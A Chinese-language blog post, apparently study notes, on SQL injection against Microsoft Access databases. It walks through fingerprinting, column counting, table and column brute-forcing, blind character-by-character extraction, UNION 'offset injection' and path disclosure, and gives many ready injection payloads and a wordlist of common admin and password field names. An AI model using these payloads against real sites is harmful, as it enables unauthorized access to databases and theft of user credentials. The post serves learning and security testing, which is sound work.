Access数据库SQL注入小结

Access数据库SQL注入小结

这里总结一下学到的Access数据库注入的知识点,参考文章如下:
实战access偏移注入
整理比较全的Access SQL注入参考
SQL Injection for Microsoft Access

一、Access数据库结构

Access中包含以下系统表

MSysAccessXML、MSysAces、MSysImexColumns、MSysObjects、MSysQueries、MSysRelationShips

是微软自带的。其中,MSysObjects表中包含了所有数据库对象。但遗憾的是,Access数据库默认不允许访问这些表。

二、Access盲注步骤

2.0 判断是否存在注入

首先,当然用单引号了,但现在一般情况下,目标程序都会过滤单引号。
如果注入点本身是数值型,可以改用1=1、1=2或len、chr等函数。

2.1 判断数据库类型

首先,必须知道目标数据库的类型。

2.1.1 方法1

在地址栏上显示的连接所带的参数后面加些特殊符号,看它的报错信息,如
http://www.**.com?id=1’
则回返回错误,如果是Microsoft JET Database Engine错误’80040e14’的话,则说明网站所用的数据库是Access数据库。

2.1.2 方法2

利用SQL和ACCESS的系统表的结构,如下

http://wwww.***.com?id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表
http://www.***.com/id=1 and (select count(*) from msysobjects)>0//msysobjects 是access

如果加sysobjects的SQL语句后,网页显示正常,
加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
但首先得允许访问系统表。

2.1.3 方法3

如果目标数据库同时支持len函数和chr函数,且不支持length和char函数,则很可能是Access数据库。在不返回报错信息的情况下,这种方式是我最常用的。

2.2 确定当前查询的列数

只有知道当前查询语句的字段数,才能保证之后的union注入能够字段对齐。方法与其他数据库一样,可以采用order by方式,即

id=1 order by x

x是数字,并逐渐递增。
当页面返回错误时,则(x-1)即为当前查询的字段数。

2.3 猜解表名

由于Access数据库的系统表默认不可访问,故不能像Mysql数据库一样,通过注系统表来获得表名和列名。这也是Access数据库比较难注入的一个原因,只要表名、列名够变态,有注入点也很难注出结果。

2.3.1 方法1-系统表

当然,如果有系统表的话,直接注是最好的。

UNION SELECT Name, NULL, NULL, NULL, NULL from MSysObjects WHERE Type=1

2.3.2 方法2-爆破法

' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])

在提交注入查询语句后,如果获得的HTML返回和正常页面一样,则表存在。
还可以

AND exists(select * from tablename)

通过写脚本,用字典中的项逐一替换tablename,直到返回正确页面,即表示当前表名存在,下同。

2.4 猜解列名

列名与表名同等重要,但猜解难度更大。一般情况下,表名的变态程度是要低于列名的,往往可以通过爆破的方式获得。

2.4.1 方法1-爆破法

前提:表名。
与猜解列名基本一致。
在知道表名的情况下,使用如下查询:

' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
还可以
AND exist(select fieldname from tablename)

2.4.2 方法2-having/group

在Access数据库里,也支持having 和 group by 语句,这里分情况讨论。
A、如果站点SQL查询语句为 select id,name,address from 表名

也就是说查询的是特定的字段数据(而不是*),那么我们可以这么爆,
productshow.asp?id=25 group by 1 having 1=1(数字型),
如果字符型就           'group by 1 having '1'='1'
返回错误:

Microsoft JET Database Engine (0x80040E21) 
试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1
返回错误:

Microsoft JET Database Engine (0x80040E21) 
试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。

依次类推productshow.asp?id=25 group by 1,id,email having 1=1,可以爆出目标表中的所有字段。

B、如果站点SQL查询语句为select * from product where id=”ID”

那么执行上述语句就会返 回这样的错误:
Microsoft JET Database Engine 错误 '80040e21' 不能将已选定'*'的字段中组合。/productshow.asp,行 18
这时我们可以这样爆字段,
productshow.asp?id=25 having sum(1)=1(数字型)
                    ' having sum('1')='1')(字符型)
返回的错误:

Microsoft JET Database Engine 错误 '80040e21' 试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。/productshow.asp,行 18

可以看到爆出了ID。
但这样很有局限性,只能爆出第一个字段id,其他的就没办法了。而id字段其实可能是可以直接猜出来的。

2.5 猜解内容的行数

前提:表名。
在进一步的行动中,有时需要知道表中内容的行数。
在下面的查询中将被用作”TAB_LEN”变量:

' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)

这里的”X”是大于0的任意。
IIF是Access注入中非常常用的一个函数。

2.6 猜解内容的长度

前提:表名、列名。
如果目标注入点不直接回显错误信息,则我们需要首先知道目标字段内容的长度,才能进一步通过写脚本爆破出字段内容。
通过以下语句获取”ATTRIB”列的第一行的内容长度:

' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)

可以通过以下语句猜解到 “ATTRIB”列中第二行到第TAB_LEN行的内容的长度(这里N的值在2和TAB_LEN(在前面已经获得)之间)):

' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)

“KKK” 为大于0的任意值,使用ATTRIB<>’valueXXX’的原因是我们必须选择一个特定的行来猜解。将之前得到的”TOP N”行的值排除掉,然后剩下的行就是正在猜解的行。当然,这里有一个前提,”ATTRIB”必须是主键。

2.7 猜解内容

前提:表名、列名。

' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2' ... etc ... ) = CHAR(YYY), 1, 0)

“N”是要猜解的行,”XXX”是”ATTRIBxxx”的第X个字节,”ATT_key”是表的主键,”YYY”是一个0到255之间的数。它代表着一个字符的ASCII码。这里我们仍然要使用前面提到的方法猜解其他行的内容。
当然,也可以直接联合查询:

union select top N password from table where key<>xxx

其中,key是table的主键,也就是说,我们需要先爆出主键名。

2.8 猜解字段数

前提:表名。
有时,我们在知道表名的情况下,需要知道该表内的字段数目,以用于偏移注入等情况。这时,我们可以这样:

id=1 union select 1,2,3,4,* from xxx

假设通过order by我们知道查询语句的字段数是8,则如果上面的语句成立,则xxx表的字段数就是(8-4=4)个。

三、Access偏移注入

3.1 适用情况

偏移注入的使用条件如下:

  1. 主查询语句的字段数大于或等于目标表列的两倍最好,这样一般都能显示齐。
  2. 知道目标表的一个字段,比如id,但是却不知道其他字段。

3.2 注入原理

简单说下偏移注入原理:
1.Union联合查询需要列相等,顺序一样;
2.这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行。显然,a、b都是同一个表,当然全部返回啦。

select * from admin as a inner join admin as b on a.id=b.id 
  1. 星号*代表了所有字段,如你查admin表,他有几个字段,那么星号就代表几个字段。
  2. 如果爆出的内容不在可显示字段怎么办?那么
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

这里假设主语句查询字段共20个,目标表admin字段数为5。
大家是否觉得很疑惑:10+2 + 5*2 = 22 > 20
但这条语句是合法的。因为a.id和 b.id在 * 里是有的,那么自动去掉重复的元素以保持结果集合里元素的唯一性。这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱很有可能让username、password等字段偏移到可显示位置。
如果还没成功 怎么办?

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id) 

四、其他技巧

4.1 检测数据库是否开启沙箱模式

SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1

4.2 用TOP代替LIMIT

LIMIT不被支持,但在查询中可以声明”TOP N”来限制返回内容的行数:

' UNION SELECT TOP 3 AttrName FROM validTableName 

这条语句返回(前)3行

4.3 字符串连接

支持CONCAT()函数,可以使用”&”或”+”操作来连接两个字符串。在使用时必须对这两个操作符进行URLencode编码:

' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"

4.4 爆数据库路径

可以通过对一个不存在的库进行SELECT操作,Access将会返回一条包含有完整路径的错误信息:

' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable

会爆出:
Microsoft JET Database Engine 错误 ‘80004005’
找不到文件 ‘c:\windows\system32\inetsrv\ThisIsAFakeName.mdb’。
/web03/ca55022fa7ae5c29d179041883fe1556/index.asp,行 5
如果目标系统屏蔽了错误信息,则无效。

4.5 表名/列名字典

这里是一个小的表/列名样本字典,在猜解中也许用的到:

account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access; 
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/HappyOrange2014/article/details/49754951
个人分类: web
上一篇逆向工程核心原理学习笔记2-基址重定位基本原理
下一篇32C3之PWN题目Readme的解法
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭